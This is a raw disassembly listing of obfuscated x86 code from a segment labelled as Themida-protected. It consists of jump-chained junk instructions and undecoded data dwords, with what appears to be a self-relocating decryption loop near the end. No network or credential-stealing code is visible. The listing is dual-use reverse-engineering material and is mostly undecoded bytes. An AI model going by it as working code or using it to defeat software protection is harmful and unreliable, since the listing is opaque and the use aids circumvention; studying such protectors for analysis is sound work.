dd 2E8835Fh, 0E9240487h, 0FFFFACB4h ; --------------------------------------------------------------------------- loc_50A340: ; CODE XREF: Themida_:0050622Fj xchg ebx, esi xor esi, 676E7DE6h push eax mov eax, 26D1897Fh sub esi, eax pop eax sub eax, esi jmp loc_50252C ; --------------------------------------------------------------------------- loc_50A358: ; CODE XREF: Themida_:00502EFAj pop edx push ebp jmp loc_507B0E ; --------------------------------------------------------------------------- db 0FFh dd 589D1C77h, 9C240419h, 0FF91F7E9h, 57E689FFh, 4BFh, 5FFE0100h dd 607368h, 0DA76E900h, 0E980FFFFh, 7C2BE909h, 0B951FFFFh dd 38585BEFh, 0FF54E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A395: ; CODE XREF: Themida_:00503265j pop ebp push ebx mov ebx, 1B126A94h push esi mov esi, 17DC7050h jmp loc_5003CC ; --------------------------------------------------------------------------- db 5Ah dd 4C281h, 0E2680000h, 0E9000035h, 0FFFFD445h, 0C277E950h dd 0F681FFFFh, 16A21880h, 0E95EF101h, 0FFFF63A4h, 1CC8CE81h dd 0E7E96DAFh, 81FFFFFFh, 4C4h, 23F76800h, 2C890000h, 0E6A3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A3EA: ; CODE XREF: Themida_:00502490j push dword ptr [esp+4] pop edx jmp loc_50267A ; --------------------------------------------------------------------------- dd 2BFh, 6BE98100h, 160D611h, 6BC181F9h, 5F60D611h, 0FF7FEFE9h dd 241489FFh, 3EC768h, 4EC8100h, 89000000h, 0BE562424h dd 4, 4247401h, 24048F5Eh, 4240483h, 5624148Bh, 0C681E689h dd 4, 0FFD156E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A441: ; CODE XREF: Themida_:004FFB31j movzx cx, al push cx pushf jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 87h, 0DDh, 43h dd 0FF56D1E9h, 244401FFh, 1C8B5804h, 0E2895224h, 0FFB72DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A465: ; CODE XREF: Themida_:00503E8Fj pop ebp xor esi, ebp xor ebp, esi xor esi, ebp push eax push esi pop eax pop esi jmp loc_500AF6 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 jmp loc_4FFD73 ; --------------------------------------------------------------------------- dd 1358EB81h, 0CB0166B8h, 1358C381h, 30366B8h, 0CFE9595Bh dd 33FFFFD6h, 0C31240Ch, 240C3324h, 6624248Bh, 9C242CD3h dd 0FF4C10E9h, 0A66866FFh, 34896621h, 74FF6624h, 8B660224h dd 0C4812434h, 2, 24048F66h, 54E95666h, 81FFFFE9h, 4ECh dd 241C8900h, 0C3815B54h, 4, 4B951h, 0CB010000h, 0FFCF0DE9h dd 2EFC0FFh, 0E931F780h, 0FFFF6A1Dh, 5424248Bh, 5224048Fh dd 4BAh, 24540100h, 81595A04h, 4C1h, 728E900h, 0F8010000h dd 81243C8Bh, 4C4h, 48B95100h, 0C112012Dh, 76E907E1h, 0BEFFFF77h dd 65EF7565h, 8247429h, 0F7BE565Eh, 0E966B060h, 0FFFFE5C0h dd 0FEF28059h, 0E95AD028h, 0FFFFD974h, 0E92434FFh, 0FFFF84E1h dd 4BD55h, 0EF010000h, 83242C8Bh, 565104C4h, 667A6DBEh dd 24C6814Dh, 810C0D7Bh, 8C0A71C6h, 0C61EE9A6h, 0AFBFFFFFh dd 8126B733h, 0D0315EEFh, 81D7F726h, 2B62CCE7h, 0E9DFF73Ah dd 0FFFF80FFh ; --------------------------------------------------------------------------- loc_50A59C: ; CODE XREF: Themida_:00503B95j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push esi push ebp push edi mov edi, 696610E6h add edi, 5DBC2AC4h not edi jmp loc_504FD0 ; --------------------------------------------------------------------------- loc_50A5C6: ; CODE XREF: Themida_:005018A4j add ecx, 6802802h mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] pop ecx loc_50A5E7: ; CODE XREF: Themida_:005068B2j sub esp, 4 mov [esp], ebp push 19E0h mov [esp], edx jmp loc_5015CF ; --------------------------------------------------------------------------- db 55h, 0BDh, 63h dd 812C4350h, 0F7306EDh, 0E9D5F769h, 0FFFF567Dh ; --------------------------------------------------------------------------- loc_50A610: ; CODE XREF: Themida_:00502680j jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 1, 0F3h, 81h dd 0A46BECC3h, 83E95E11h, 0AD00000Ch, 0EC81D831h, 4, 52243C89h dd 0E357C668h, 68515A29h, 26329B1h, 7D78E959h, 0C87FFFFh dd 0C4835C24h, 5F545704h, 4C781h, 8CE90000h, 0BF000002h dd 0D0CFEE7Ch, 0FFE13DE9h, 241C8BFFh, 4EC81h, 3E90000h dd 8BFFFF6Fh, 89572414h, 2ACD68E7h, 1C890000h, 4BB24h dd 0DF010000h, 4C7835Bh, 8B243C87h, 93E92424h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A693: ; CODE XREF: Themida_:00502213j pop edx shr ebx, 7 sub ebx, 3A762B1Fh sub ebx, 7DF41776h push ecx jmp loc_508087 ; --------------------------------------------------------------------------- db 0E9h, 13h, 4Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A6AE: ; CODE XREF: Themida_:0050449Cj not ecx sub ecx, 6669985Fh add edx, 191A52FFh add edx, 32476252h add edx, ecx jmp loc_505DC5 ; --------------------------------------------------------------------------- db 1, 0F3h, 5Eh dd 31241C33h, 1C33241Ch, 0F9F75C24h, 29E468h, 0B88CE900h dd 2489FFFFh, 24048124h, 4, 6824048Fh, 0C52h, 340E9h, 241C8900h dd 6E01BE56h, 0F6816276h, 2C6D4463h, 8107E6C1h, 3C6744F6h dd 0C3BD5575h, 127DB64h, 0F6815DEEh, 0A084BB2Bh, 0E95EF389h dd 0FFFFF620h, 5C240C87h, 24048966h, 0FF498CE9h, 0C8B66FFh dd 12E95524h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A73F: ; CODE XREF: Themida_:005030B0j popf retn ; --------------------------------------------------------------------------- db 0E9h, 7Bh, 49h dd 515CFFFFh, 36D3BD55h, 31B92CACh, 1D353C9h, 242C8BE9h dd 4C481h, 0D2E90000h, 89FFFFC6h, 0E5C15EF5h, 46F58704h dd 0EE31F531h, 0E952F531h, 0FFFF7346h, 2795C381h, 87583A9Fh dd 248B241Ch, 4937E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A78A: ; CODE XREF: Themida_:0050711Ej pop edx mov ebx, [esp] add esp, 4 xor bh, cl mov cx, [esp] add esp, 2 add al, 68h sub al, bh push cx mov cl, 68h sub al, 9Ah sub al, cl add al, 9Ah pop cx pop ebx jmp loc_505AFE ; --------------------------------------------------------------------------- dw 6866h dd 6866597Eh, 89661D67h, 81662424h, 22404h, 0FF6EF1E9h dd 242489FFh, 4240481h, 5B000000h, 4EC81h, 6BE90000h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A7E3: ; CODE XREF: Themida_:00509921j add eax, 2F5A665Ch not eax xor eax, 6BA622A6h jmp loc_50283B ; --------------------------------------------------------------------------- loc_50A7F4: ; CODE XREF: Themida_:00505EF1j shl eax, 1 xor eax, 61B70EB2h push ecx jmp loc_50A87D ; --------------------------------------------------------------------------- db 80h, 0C3h, 99h dd 0FF91CAE9h, 8BE42CFFh, 0C481241Ch, 4, 6C4E9h db 0 ; --------------------------------------------------------------------------- loc_50A819: ; CODE XREF: Themida_:004FFBE0j add ebx, 4 xchg ebx, [esp] pop esp push esi push esp pop esi sub esp, 4 jmp loc_4FF7D4 ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 74E90000h, 5BFFFF61h, 0FFEEC0E9h, 42E953FFh dd 8FFFFFF5h, 895C2404h, 6EE9240Ch, 0B4FFFF48h, 83CCFE02h dd 896602ECh, 0E2882414h, 0E953D2F6h, 0FFFFDD1Ch, 0E924148Bh dd 0FFFF778Fh, 0C681E689h, 4, 0FF82C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_50A87D: ; CODE XREF: Themida_:0050A7FCj push esi mov esi, 0BF872684h mov ecx, esi pop esi xor eax, ecx pop ecx push eax sub dword ptr [esp], 486049ABh mov ebp, [esp] add esp, 4 push esi mov esi, 48DF0BF6h neg esi and esi, 45C40E30h add esi, 436045ABh add ebp, esi pop esi pop eax jmp loc_5082B5 ; --------------------------------------------------------------------------- loc_50A8B4: ; CODE XREF: Themida_:005017D6j mov eax, esp add eax, 4 push esi mov esi, 4 add eax, esi pop esi push eax push dword ptr [esp+4] jmp loc_50876A ; --------------------------------------------------------------------------- dw 0C281h dd 1B812692h, 0BB68F201h, 8900005Eh, 0D7E92404h, 50FFFF6Bh dd 0FFD178E9h, 87DDF7FFh, 9FFAE9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A8F2: ; CODE XREF: Themida_:00502426j add ebx, ebp pop ebp jmp loc_5024AA ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFB163h, 5CFF181h, 0C18124F3h, 418454D8h, 2C1E952h dd 0E9500000h, 0FFFF676Bh ; --------------------------------------------------------------------------- loc_50A918: ; CODE XREF: Themida_:00504220j mov ecx, [esp] push esi mov esi, esp jmp loc_50ABE4 ; --------------------------------------------------------------------------- db 81h dd 4CACF3F2h, 5AD6210Ch, 6F7CBD55h, 0AEE971D6h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50A937: ; CODE XREF: Themida_:00503813j push dword ptr [esp] jmp loc_501FC8 ; --------------------------------------------------------------------------- db 53h dd 241C8B54h, 0FFF99EE9h db 0FFh ; --------------------------------------------------------------------------- loc_50A949: ; CODE XREF: Themida_:00508433j shl edx, 1 push eax push ebp push 4CEA02A8h pop ebp dec ebp add ebp, 1BD87281h add ebp, 0FDA6E154h jmp loc_502135 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4C28100h, 52000000h, 42474FFh, 0FF7FCAE9h, 55D831FFh dd 8904EC83h, 0BF68243Ch, 5F55C008h, 0FFD26FE9h, 80C6FEFFh dd 0EE80CEF6h, 8BF030F5h, 0C4812414h, 4, 6E685366h, 8900000Ch dd 0EC832414h, 24048904h, 9E0460B0h, 0FFC270E9h, 720CBAFFh dd 81422F7Ah, 858DF7C2h, 5AD101D0h, 5C240C87h, 0FF58BDE9h dd 4C281FFh, 81000000h, 4C2h, 74FF5200h, 8F5A0424h, 0FF5C2404h dd 57582434h, 7CE9E789h, 59FFFFB0h, 0E97E2C5Ah, 0FFFFCCA8h dd 24148B66h, 2802C483h, 0B3535BD8h, 66E38086h, 0E9C1EB80h dd 0FFFF8923h, 4C281h, 0C2830000h, 24148704h, 0FF7574E9h dd 8BDF89FFh, 0C481241Ch, 4, 8E9h, 241C8900h, 0FF9AAEE9h dd 0E9FA01FFh, 445h, 80B6B450h, 8852C1C4h, 5AD388E2h, 4EC8158h dd 89000000h, 67B62414h, 0FFF1C4E9h, 1C77FFFFh, 1058669Dh dd 0E99C2404h, 0FFFF464Dh, 5C240C87h, 4C481h, 80E90000h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AA83: ; CODE XREF: Themida_:0050AE44j xchg eax, [esp] pop esp jmp loc_504D95 ; --------------------------------------------------------------------------- dd 0CF719B68h, 242C8B4Ah, 0D69EE953h, 0F181FFFFh, 497365FCh dd 16CCC781h, 0CF292449h, 16CCEF81h, 4F592449h, 303AC781h dd 0F8312D49h, 0FF6833E9h db 0FFh ; --------------------------------------------------------------------------- loc_50AABD: ; CODE XREF: Themida_:0050411Cj mov ebp, 1EAB746Eh xor [esp+4], ebp mov ebp, [esp] jmp loc_502716 ; --------------------------------------------------------------------------- loc_50AACE: ; CODE XREF: Themida_:0050A13Aj mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_504406 ; --------------------------------------------------------------------------- loc_50AAF5: ; CODE XREF: Themida_:00509B4Fj add edx, eax mov ecx, [edx] jmp loc_500E94 ; --------------------------------------------------------------------------- dw 0D709h dd 8324148Bh, 0F78104C4h, 0EDDBE239h, 0FFFA09E9h, 8BCA01FFh dd 0C481240Ch, 4, 2159EA81h, 9AE97CC1h, 55FFFF45h, 36205ABDh dd 5BBCB824h, 0A2E9359Eh, 89FFFF86h, 87B4E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AB3E: ; CODE XREF: Themida_:00505F15j add esi, 4 add esi, 4 jmp loc_500C8E ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28300h, 2474FF52h, 48F5A04h, 63AAE924h, 0C381FFFFh dd 2D98367Fh, 739EF381h, 0DE310BA7h, 17EB815Bh, 1520A65h dd 0DBC9E9F3h, 815EFFFFh, 8D7C7DE5h, 7F00E970h, 0DD01FFFFh dd 57241C8Bh, 0AAE95F54h, 83FFFFD8h, 0E9042404h, 0FFFFE7BDh dd 5C241433h, 0EC83C80Fh, 241C8904h, 5404EC83h, 8124048Fh dd 42404h, 1C8B0000h, 4C48324h, 0FFBA4FE9h, 2FB5BDFFh dd 0D3E907EDh, 0BAFFFFEEh, 212A6C37h, 457FF281h, 0E94A5544h dd 0FFFF554Bh ; --------------------------------------------------------------------------- loc_50ABE4: ; CODE XREF: Themida_:0050A91Ej sub esp, 4 mov [esp], edx mov edx, 788B7866h push ebx jmp loc_4FF1DB ; --------------------------------------------------------------------------- loc_50ABF8: ; CODE XREF: Themida_:00501875j sub ecx, 4 jmp loc_5072F3 ; --------------------------------------------------------------------------- dd 24048B66h, 7A0E68h, 241C8900h, 4EC81h, 94E90000h, 1FFFF49h dd 0E9EE81FEh, 5F0D8768h, 8B243487h, 0F662424h, 6866C8B6h dd 89660DF5h, 8AE9240Ch, 5BFFFF44h, 86B753h, 8D6AE9F9h dd 0E981FFFFh, 4, 0E9240C33h, 0FFFF99E7h, 42474FFh, 0FF4B75E9h dd 24048BFFh, 4C481h, 57550000h, 5A36F0BFh, 0E781477Eh dd 5BC732BAh, 0D2F7D787h, 5A5F5257h, 8102EFC1h, 0AF7DB7CFh dd 4EC8372h, 0B9240C89h, 85C6E3F7h, 0FF6140E9h, 1C8B54FFh dd 4C48124h, 0E9000000h, 0FFFF8A2Dh, 4C281h, 10E90000h dd 66FFFFE1h, 83240C8Bh, 1C8904ECh, 446824h, 0C7E90000h dd 68FFFF5Fh, 0A9Dh, 83243489h, 148904ECh, 0EEACE924h dd 5255FFFFh, 0FF795AE9h, 61B52DFFh, 0BD551D69h, 6C886800h dd 6CE9E801h, 5AFFFFB1h, 0FF670EE9h, 0E1C981FFh, 51403D5Dh dd 0F7242C87h, 242C31D5h, 0FF8AA5E9h, 241433FFh, 0FF9B4EE9h dd 56DBF7FFh, 6453BF57h, 0DFF731E5h, 8275BD55h, 0EF814AD0h dd 753D7F33h, 0FFE9EF01h, 89FFFF61h, 405E0h, 0C0830000h dd 82EDE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AD3A: ; CODE XREF: Themida_:00505CEFj push edi jmp loc_50228F ; --------------------------------------------------------------------------- dd 8324048Bh, 0E95104C4h, 0FFFFD47Fh, 22168h, 7443E900h dd 77FFFFFFh, 58669D1Ch, 9C240418h, 0FF435CE9h, 4C181FFh dd 81000000h, 4C1h, 240C8700h, 0F7EB815Ch, 0E945330Dh dd 0FFFFCE0Ah, 3D38C981h, 0F1816AA9h, 1A9C7CD4h, 0FFFD09E9h dd 0C4CE81FFh, 522F193Ah, 0FFDFF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_50AD9D: ; CODE XREF: Themida_:00501EA4j and eax, edi jmp loc_502C06 ; --------------------------------------------------------------------------- loc_50ADA4: ; CODE XREF: Themida_:00508DDCj pop edi add ebp, 13D01660h and eax, ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_502FA1 ; --------------------------------------------------------------------------- loc_50ADC2: ; CODE XREF: Themida_:005088EDj mov [esp], eax push edx pop eax mov ebp, eax jmp loc_50B041 ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFF833Bh, 0DFF670B7h, 0DFF6DFF6h, 2012C780h, 0EC805BFCh dd 58E288E6h, 0EC81CAFEh, 2, 24148966h, 0FFE3FDE9h, 1BE95BFFh dd 8BFFFF51h, 3DE9240Ch, 83FFFFB4h, 896602ECh, 0C1E92414h dd 59FFFF88h, 81242C8Bh, 4C4h, 0F459E900h, 5651FFFFh, 383F49BEh dd 5EF1893Eh, 0E1C1D9F7h, 8755E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AE36: ; CODE XREF: Themida_:00500A20j add eax, 4 push edx mov edx, 4 sub eax, edx pop edx jmp loc_50AA83 ; --------------------------------------------------------------------------- db 81h, 0EDh, 1Eh dd 5569F11Bh, 0FFE68FE9h, 25E952FFh, 89FFFF64h, 15B82404h dd 4078E804h, 0C8C5DC2Dh, 58C32915h, 531AE958h, 815AFFFFh dd 4C2h, 0BB535100h, 7F636819h, 0FFD594E9h, 2434FFFFh dd 0FFCC05E9h, 2434FFFFh db 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_501D97 ; --------------------------------------------------------------------------- db 89h dd 5FB0E9E6h, 2C8BFFFFh, 4C48324h, 8102E6C1h, 101542CEh dd 0E9554E4Dh, 0FFFF7617h, 3E0DB8BBh, 0B5E2D3Fh, 32E95556h dd 5FFFFFCBh, 0FFE5F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_50AED1: ; CODE XREF: Themida_:00502541j pop edi push edi mov edi, 2EB62DB4h jmp loc_4FFDAF ; --------------------------------------------------------------------------- db 53h, 0B7h, 5Ch dd 5007EFC0h, 0FFEF44E9h db 0FFh ; --------------------------------------------------------------------------- loc_50AEE9: ; CODE XREF: Themida_:004FF7FDj sub ebp, 63402FA6h pop esi xchg ebp, [esp] jmp loc_4FFF98 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 sub ebp, edx jmp loc_509278 ; --------------------------------------------------------------------------- loc_50AF11: ; CODE XREF: Themida_:00506549j mov eax, 5F450851h xor edi, eax pop eax push eax mov eax, 0C4F8E7BEh jmp loc_502313 ; --------------------------------------------------------------------------- dd 54240C89h, 83240C8Bh, 15E904C4h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AF33: ; CODE XREF: Themida_:00503022j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 66A7h mov [esp], esi jmp loc_500914 ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 5C24048Fh, 24048B66h, 7BA368h, 24048900h dd 0FFD3E7E9h, 0BE0F66FFh, 585450C8h, 0FFA6F3E9h, 2837BAFFh dd 59E933E2h, 66FFFF51h, 8BBF6657h, 0DD09E913h, 32E9FFFFh dd 52FFFF41h, 4D78E2BAh, 0E9DAF71Ah, 0FFFF4EEEh, 98ACE941h dd 2C33FFFFh, 24248B24h, 5024048Bh, 0FFE964E9h, 0EC815AFFh dd 4, 0E9243489h, 0FFFFFC90h, 53555B54h, 0CD0BAEBBh, 0BAABD36h dd 0DD3136CDh, 83241C8Bh, 0B95104C4h, 77684791h, 548FC981h dd 0E9817FDDh, 267301Fh, 8105E1C1h, 1367A1C1h, 0E9CB014Eh dd 0FFFFC4FCh, 0E906E9C1h, 0FFFF5B44h, 8324348Bh, 143304C4h dd 24143124h, 5C241433h, 592434FFh, 59CF68h, 243C8900h dd 0FFB8E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B021: ; CODE XREF: Themida_:00501792j pop eax push 4E40h mov [esp], ecx mov ecx, 53C85AA5h push edi mov edi, 63611BB9h dec edi sub edi, 1 not edi push edx jmp loc_500C3D ; --------------------------------------------------------------------------- loc_50B041: ; CODE XREF: Themida_:0050ADC9j mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov edx, [esp] add esp, 4 and eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_507A31 ; --------------------------------------------------------------------------- dw 4EE9h dd 43FFFF40h, 8105EBC1h, 775899CBh, 77E95370h, 0C1FFFFE0h dd 0C68103EEh, 230341BFh, 4E06EEC1h, 0EA4DF681h, 2FE9D6A8h dd 5FFFFF5Eh, 7B52E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B0A2: ; CODE XREF: Themida_:00509C52j mov [esp], edi jmp loc_5031FC ; --------------------------------------------------------------------------- dw 248Bh dd 0FB4EE924h, 48FFFFFh, 24048324h, 241C8B04h, 4F25E955h dd 535CFFFFh, 0FF515AE9h, 240431FFh, 8B240433h, 3C892424h dd 3AB95124h, 816E6846h, 9EE67BE9h, 0CC685263h, 0FF3AFF1Ah dd 815A2434h, 4C4h, 85C28100h, 0E968F64Fh, 0FFFF6E71h dd 76A7E981h, 815B25F6h, 4C1h, 0D3D2E900h, 30B3FFFFh, 0C8E9DE28h dd 0B9FFFF92h, 646E7229h, 0C981D1F7h, 37EB465Eh, 558FE181h dd 0E1813128h, 5133260Fh, 0BE98141h, 0E9112004h, 0FFFFB381h dd 0B050C5FEh, 446866DCh, 14896672h, 887B224h, 0DB62E9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B152: ; CODE XREF: Themida_:0050985Dj sub ebx, 15F73E80h jmp loc_509D2F ; --------------------------------------------------------------------------- db 29h, 5Ch, 24h dd 246C8104h, 0B060F704h, 24448166h, 0EF756504h, 24448165h dd 3B2AE604h, 2444814Dh, 906EA504h, 241C8B19h, 5804C483h dd 773BBA52h, 0D0010B44h, 0FFD35CE9h, 9A6866FFh, 1C89661Bh dd 0E9A5B324h, 0FFFF550Fh, 5C241487h, 0FF6BBFE9h, 2C481FFh dd 0E9000000h, 0FFFFE2D3h, 84D7C181h, 0EB81F17Dh, 52C004A4h dd 0C381CB01h, 52C004A4h, 0FFEFB6E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B1D1: ; CODE XREF: Themida_:00505C0Aj mov [esp], esi push edi push 10D1389Fh pop edi mov esi, 10D138A0h push 29F5h mov [esp], ecx mov ecx, esp push eax mov eax, 4 add ecx, 42D632BFh add ecx, eax sub ecx, 42D632BFh jmp loc_502EE0 ; --------------------------------------------------------------------------- db 81h dd 0B82C83E7h, 0AAF7815Ah, 31BD94A8h, 0C5015FF8h, 0FFAF8EE9h dd 58C289FFh, 0FFCFF2E9h, 9C5166FFh, 0FF3E98E9h, 3AC681FFh dd 103B73Bh, 3AEE81D6h, 8B03B73Bh, 89512414h, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 3324248Bh, 34312434h, 24343324h dd 0F624248Bh, 0B60F66E1h, 0AFCEE9CCh, 0FF57FFFFh, 5F042474h dd 0FFA9EDE9h, 0E9F800FFh, 0FFFFBBCAh, 8953E089h, 4C381E3h dd 83000000h, 1C8704EBh, 34895C24h, 4B7EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B292: ; CODE XREF: Themida_:004FF739j xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx jmp loc_5045AB ; --------------------------------------------------------------------------- dw 0EB81h dd 7D3F3662h, 99E9C301h, 80FFFF8Dh, 0EC805BECh, 0B124E901h dd 51C4FFFFh, 0A7F00056h, 0EE90056h, 0 dd 0EDF70000h, 750EFFFFh, 9E50FA48h, 213FFFFh, 20000h dd 10000h, 60000h, 750E0000h, 0FA48h, 4 dup(0) dd 0A7920000h, 88110051h, 0BBC60051h, 83850050h, 2FC50051h dd 0C5330051h, 608A0050h, 0F5770051h, 7A310051h, 0F46F0051h dd 0DB140050h, 0F8B30050h, 583F0050h, 26A10051h, 81D60051h dd 0FE7B0051h, 0F7060050h, 0CC0B0050h, 0D59B0051h, 10AD0050h dd 0E000051h, 0BF350052h, 0E6120050h, 1B5F0050h, 0DEA80051h dd 94A90050h, 8A660051h, 3F680051h, 7150051h, 0F4420051h dd 0CF610051h, 0C9C20050h, 0F1DB0051h, 1C2A0050h, 0B8BC0051h dd 319E0051h, 0D32C0051h, 4190051h, 11EE0051h, 0CA670051h dd 0E7AE0050h, 0FCF50051h, 4F800051h, 9B940051h, 2C4F0051h dd 0A83B0051h, 0E2190051h, 58A0050h, 9D30052h, 26290052h dd 0D8BA0051h, 94A00051h, 30B20051h, 0AAEC0051h, 0BA9B0051h dd 0B5030051h, 4C6C0051h, 0CDDA0051h, 0E39F0051h, 9C80051h dd 6BAC0051h, 8BA0051h, 74F00051h, 0D9A30051h, 0B7F0051h dd 70750051h, 1310051h, 0AF030051h, 0E8800051h, 0C91C0051h dd 9DC20051h, 0EC1E0051h, 0E4E20051h, 0D5460050h, 0FC920051h dd 0D2600051h, 0EFFD0051h, 0D790050h, 0EB8D0051h, 0E1300051h dd 819E0050h, 72410051h, 0E9AD0051h, 2BB60050h, 0BE950051h dd 32170050h, 523E0051h, 0DCC20051h, 25300051h, 0F54A0051h dd 14500050h, 0B8A30051h, 0F40C0050h, 0F60A0050h, 0CDF10050h dd 49170051h, 190A0051h, 84340051h, 26540051h, 0F6BF0051h dd 0D5980051h, 5E640051h, 2EB80051h, 0C110051h, 679F0051h dd 0C4290051h, 9A5A0050h, 0CDC40051h, 107B0050h, 0D00D0052h dd 98590050h, 0D5E10051h, 341A0051h, 0C3B90051h, 0E6B50051h dd 0E1250050h, 0B00050h, 0D9890052h, 9AA60051h, 999C0051h dd 0C6740051h, 0F3220050h, 0C59D0050h, 9A490051h, 0D8670051h dd 0E4570050h, 29F00050h, 39910051h, 68B30051h, 0D7770051h dd 97990050h, 0A06C0051h, 0F0400051h, 7EC10051h, 0F88A0051h dd 37F70051h, 0CE6F0051h, 0D2B10051h, 15810050h, 934F0051h dd 0CE420051h, 40FA0051h, 0AFA10051h, 35240051h, 40F0051h dd 0EE590052h, 1CE60051h, 0C45C0051h, 0DC9E0050h, 74F90051h dd 0BED70051h, 95DB0051h, 0D7170051h, 274B0051h, 85360051h dd 0C6130051h, 0D0B40050h, 8C760050h, 0D2E20051h, 0CFB40051h dd 0CF250051h, 0B18A0050h, 227D0051h, 49DB0051h, 0E3680051h dd 4C450050h, 30800051h db 51h, 0 ; --------------------------------------------------------------------------- loc_50B59E: ; CODE XREF: Themida_:00553C64j pusha pushf cld call $+5 pop edi sub edi, 6084098h mov eax, edi add edi, 6083DB0h cmp eax, [edi+2Ch] jnz short loc_50B5BC jmp short loc_50B5CF ; --------------------------------------------------------------------------- loc_50B5BC: ; CODE XREF: Themida_:0050B5B8j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_50B5CB ; --------------------------------------------------------------------------- loc_50B5C6: ; CODE XREF: Themida_:0050B5CDj add [edi+ecx*4+40h], eax dec ecx loc_50B5CB: ; CODE XREF: Themida_:0050B5C4j or ecx, ecx jnz short loc_50B5C6 loc_50B5CF: ; CODE XREF: Themida_:0050B5BAj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_50B5DC: ; CODE XREF: Themida_:0050B5E3j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_50B5DC loc_50B5E5: ; CODE XREF: Themida_:0050CAB1j ; Themida_:0050CD96j ... lodsb push ebx mov bh, 9 push ecx mov ch, 66h xor ch, 0BDh sub al, ch mov ecx, [esp] add esp, 4 add al, 9 sub al, bh jmp loc_50E17D ; --------------------------------------------------------------------------- loc_50B600: ; CODE XREF: Themida_:0051AB7Cj add eax, ebx pop ebx jmp loc_5108DA ; --------------------------------------------------------------------------- dd 504C483h, 4, 0E9240487h, 977Dh, 0D0F6352Ch, 0D2E9E834h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B623: ; CODE XREF: Themida_:0051C302j sub ebx, ecx sub esp, 4 mov [esp], esi mov esi, 13BD70C5h add ebx, esi mov esi, [esp] add esp, 4 pop ecx and eax, ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 jmp loc_512724 ; --------------------------------------------------------------------------- loc_50B650: ; CODE XREF: Themida_:00512F82j add edi, eax jmp loc_517505 ; --------------------------------------------------------------------------- loc_50B657: ; CODE XREF: Themida_:005100FFj mov esi, esp add esi, 4 push ebx mov ebx, 4 jmp loc_51A34F ; --------------------------------------------------------------------------- loc_50B66A: ; CODE XREF: Themida_:00520F55j push esi mov esi, 4 add edx, esi push dword ptr [esp] pop esi add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_51E85A ; --------------------------------------------------------------------------- aISG db '[',0Ah db '',0 db 0 ; --------------------------------------------------------------------------- loc_50B68F: ; CODE XREF: Themida_:0051CA15j shl ecx, 1 add ecx, 0E047D25Bh and ebx, ecx jmp loc_511B47 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4C381h, 1C870000h, 0C0685C24h, 89000036h, 93BE2434h dd 812E546Eh, 0B14EE6EEh, 0BDF6815Ah, 8122B179h, 0ED99F4C6h dd 5EF7010Eh, 0E9E38953h, 3841h, 1B70685Fh, 43E90000h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B6E3: ; CODE XREF: Themida_:00510307j pop ebp mov eax, edi jmp loc_511443 ; --------------------------------------------------------------------------- loc_50B6EB: ; CODE XREF: Themida_:005162C1j sub esp, 4 mov [esp], ebx push dword ptr [esp] pop ebp push 2E8Ch mov [esp], edx push esp mov edx, [esp] add esp, 4 jmp loc_51DF55 ; 